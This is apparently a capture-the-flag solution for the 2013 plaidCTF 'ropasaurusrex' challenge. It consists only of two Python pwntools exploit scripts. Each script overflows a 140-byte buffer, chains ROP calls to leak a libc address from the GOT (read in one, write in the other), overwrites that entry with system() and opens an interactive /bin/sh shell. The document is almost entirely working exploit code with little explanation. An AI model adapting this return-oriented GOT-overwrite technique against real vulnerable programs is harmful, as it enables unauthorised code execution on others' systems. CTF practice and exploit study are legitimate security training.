[2013plaidCTF]ropasaurusrex

ropasaurusrex

[*] read leak Exploit

from pwn import *
 
p = process('./ropasaurusrex')
e = ELF('./ropasaurusrex')
r = ROP(e)
 
pop3ret = 0x80484b6
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
write_got = e.got['write']
read_system_offset = 0x9ad60 # read - system
bss = e.bss()
 
payload = 'A'*140 # buf + sfp -> ret
r.read(0,bss,8) # /bin/sh\x00 
r.write(1,read_got,4) # leak
r.read(0,read_got,4) # system
r.raw(read_plt) # read_plt execute -> .got -> system
r.raw('AAAA') # dummy
r.raw(bss) # /bin/sh
payload += str(r)
 
p.send(payload)
p.send('/bin/sh\x00')
 
sleep(1)
 
read = u32(p.recv())
system = read - read_system_offset
 
p.send(p32(system))
 
p.interactive()

[*] write leak Exploit

from pwn import *
 
e = ELF('./ropasaurusrex')
# lib = ELF('/lib/x86_64-linux-gnu/libc.so.6')
r = ROP(e)
p = process('./ropasaurusrex')
#ibrop = ROP("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
 
pop3ret = 0x80484b6
read_plt = e.plt['read']
write_plt = e.plt['write']
read_got = e.got['read']
write_got = e.got['write']
write_system_offset = 0x9add0 # write - system
bss = e.bss()
 
payload = 'A'*140
r.read(0,bss,8) # /bin/sh -> bss
r.write(1,write_got,4) # write leak
r.read(0,write_got,4) # write_got -> system
r.raw(write_plt) # system
r.raw('AAAA') # dummy
r.raw(bss) # /bin/sh
payload += str(r)
 
p.send(payload)
p.send('/bin/sh\x00')
 
sleep(1)
 
write = u32(p.recv())
system = write - write_system_offset
 
p.send(p32(system))
 
p.interactive()